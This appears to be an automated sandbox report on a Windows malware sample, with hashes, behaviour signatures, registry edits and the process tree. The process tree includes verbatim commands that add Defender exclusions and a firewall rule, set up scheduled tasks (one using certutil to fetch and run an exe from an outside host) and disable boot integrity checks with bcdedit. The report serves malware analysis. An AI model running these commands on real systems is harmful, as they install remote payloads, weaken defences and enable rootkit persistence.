Analysis
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max time kernel
131s -
max time network
147s -
platform
windows10_x64 -
resource
win10 -
submitted
25-07-2020 23:34
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe
Resource
win7v200722
General
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Target
SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe
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Size
3MB
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MD5
0d039208c1658b3fc0c7bd9679a1744d
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SHA1
adf1b4f1c00301f325036086a882bdb145002588
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SHA256
aae91b20323629b5d0c4a1ed5ad5cf5383730f5233433eba7b450eafec503501
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SHA512
3e97398f5db4c4549dac9d375e07d4acfc236e477c005d37870b5094d37c27878ab53ad8fadae98fd6f5f3cfc587f0387a2b47a6678234eda3a926797ee23496
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
svchost.exedescription pid process target process PID 688 created 3060 688 svchost.exe SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe PID 688 created 2064 688 svchost.exe csrss.exe PID 688 created 2064 688 svchost.exe csrss.exe PID 688 created 2064 688 svchost.exe csrss.exe PID 688 created 2064 688 svchost.exe csrss.exe -
Modifies boot configuration data using bcdedit 15 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 1896 bcdedit.exe 2160 bcdedit.exe 2180 bcdedit.exe 2688 bcdedit.exe 3024 bcdedit.exe 3428 bcdedit.exe 3916 bcdedit.exe 4048 bcdedit.exe 3904 bcdedit.exe 3832 bcdedit.exe 3040 bcdedit.exe 3748 bcdedit.exe 904 bcdedit.exe 424 bcdedit.exe 3484 bcdedit.exe -
Drops file in Drivers directory 2 IoCs
Processes:
dsefix.execsrss.exedescription ioc process File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe File created C:\Windows\System32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 5 IoCs
Processes:
csrss.exepatch.exedsefix.exewindefender.exewindefender.exepid process 2064 csrss.exe 1164 patch.exe 3756 dsefix.exe 2060 windefender.exe 2240 windefender.exe -
Modifies Windows Firewall 1 TTPs
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Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
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Processes:
resource yara_rule C:\Windows\windefender.exe upx C:\Windows\windefender.exe upx C:\Windows\windefender.exe upx -
Loads dropped DLL 4 IoCs
Processes:
patch.exepid process 1164 patch.exe 1164 patch.exe 1164 patch.exe 1164 patch.exe -
Processes:
SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\RoughGrass = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\c6def85f9c76\c6def85f9c76 = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c6def85f9c76.exe = "0" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\RoughGrass = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 4 IoCs
Processes:
SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.execsrss.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
Processes:
SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exewindefender.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-362 = "GTB Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-11 = "Azores Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-31 = "Mid-Atlantic Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-191 = "Mountain Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Key created \REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-741 = "New Zealand Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-331 = "E. Europe Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2391 = "Aleutian Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-831 = "SA Eastern Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-361 = "GTB Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-71 = "Newfoundland Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2002 = "Cabo Verde Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2532 = "Chatham Islands Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-732 = "Fiji Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2452 = "Saint Pierre Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-141 = "Canada Central Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-571 = "China Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-621 = "Korea Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2062 = "North Korea Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2141 = "Transbaikal Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-42 = "E. South America Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1472 = "Magadan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2372 = "Easter Island Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-731 = "Fiji Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1722 = "Libya Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1911 = "Russia TZ 10 Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-335 = "Jordan Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exeSecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.execsrss.exepid process 3060 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe 3060 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe 732 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe 732 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe 2064 csrss.exe 2064 csrss.exe 2064 csrss.exe 2064 csrss.exe 2064 csrss.exe 2064 csrss.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 616 616 -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exesvchost.execsrss.exesc.exedescription pid process Token: SeDebugPrivilege 3060 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Token: SeImpersonatePrivilege 3060 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe Token: SeTcbPrivilege 688 svchost.exe Token: SeTcbPrivilege 688 svchost.exe Token: SeBackupPrivilege 688 svchost.exe Token: SeRestorePrivilege 688 svchost.exe Token: SeBackupPrivilege 688 svchost.exe Token: SeRestorePrivilege 688 svchost.exe Token: SeBackupPrivilege 688 svchost.exe Token: SeRestorePrivilege 688 svchost.exe Token: SeBackupPrivilege 688 svchost.exe Token: SeRestorePrivilege 688 svchost.exe Token: SeSystemEnvironmentPrivilege 2064 csrss.exe Token: SeBackupPrivilege 688 svchost.exe Token: SeRestorePrivilege 688 svchost.exe Token: SeBackupPrivilege 688 svchost.exe Token: SeRestorePrivilege 688 svchost.exe Token: SeBackupPrivilege 688 svchost.exe Token: SeRestorePrivilege 688 svchost.exe Token: SeSecurityPrivilege 2608 sc.exe Token: SeSecurityPrivilege 2608 sc.exe Token: SeBackupPrivilege 688 svchost.exe Token: SeRestorePrivilege 688 svchost.exe -
Suspicious use of WriteProcessMemory 57 IoCs
Processes:
svchost.exeSecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.execmd.exepatch.execsrss.exewindefender.execmd.exedescription pid process target process PID 688 wrote to memory of 732 688 svchost.exe SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe PID 688 wrote to memory of 732 688 svchost.exe SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe PID 688 wrote to memory of 732 688 svchost.exe SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe PID 732 wrote to memory of 2788 732 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe cmd.exe PID 732 wrote to memory of 2788 732 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe cmd.exe PID 2788 wrote to memory of 3976 2788 cmd.exe netsh.exe PID 2788 wrote to memory of 3976 2788 cmd.exe netsh.exe PID 732 wrote to memory of 2064 732 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe csrss.exe PID 732 wrote to memory of 2064 732 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe csrss.exe PID 732 wrote to memory of 2064 732 SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe csrss.exe PID 688 wrote to memory of 632 688 svchost.exe schtasks.exe PID 688 wrote to memory of 632 688 svchost.exe schtasks.exe PID 688 wrote to memory of 800 688 svchost.exe schtasks.exe PID 688 wrote to memory of 800 688 svchost.exe schtasks.exe PID 688 wrote to memory of 1164 688 svchost.exe patch.exe PID 688 wrote to memory of 1164 688 svchost.exe patch.exe PID 1164 wrote to memory of 1896 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 1896 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 2160 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 2160 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 2180 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 2180 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 2688 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 2688 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3024 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3024 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3428 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3428 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3916 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3916 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 4048 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 4048 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3904 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3904 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3832 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3832 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3040 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3040 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3748 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 3748 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 904 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 904 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 424 1164 patch.exe bcdedit.exe PID 1164 wrote to memory of 424 1164 patch.exe bcdedit.exe PID 2064 wrote to memory of 3484 2064 csrss.exe bcdedit.exe PID 2064 wrote to memory of 3484 2064 csrss.exe bcdedit.exe PID 2064 wrote to memory of 3756 2064 csrss.exe dsefix.exe PID 2064 wrote to memory of 3756 2064 csrss.exe dsefix.exe PID 688 wrote to memory of 2060 688 svchost.exe windefender.exe PID 688 wrote to memory of 2060 688 svchost.exe windefender.exe PID 688 wrote to memory of 2060 688 svchost.exe windefender.exe PID 2060 wrote to memory of 2548 2060 windefender.exe cmd.exe PID 2060 wrote to memory of 2548 2060 windefender.exe cmd.exe PID 2060 wrote to memory of 2548 2060 windefender.exe cmd.exe PID 2548 wrote to memory of 2608 2548 cmd.exe sc.exe PID 2548 wrote to memory of 2608 2548 cmd.exe sc.exe PID 2548 wrote to memory of 2608 2548 cmd.exe sc.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Generic.mg.0d039208c1658b3f.16741.exe"2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 05⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}5⤵
- Modifies boot configuration data using bcdedit
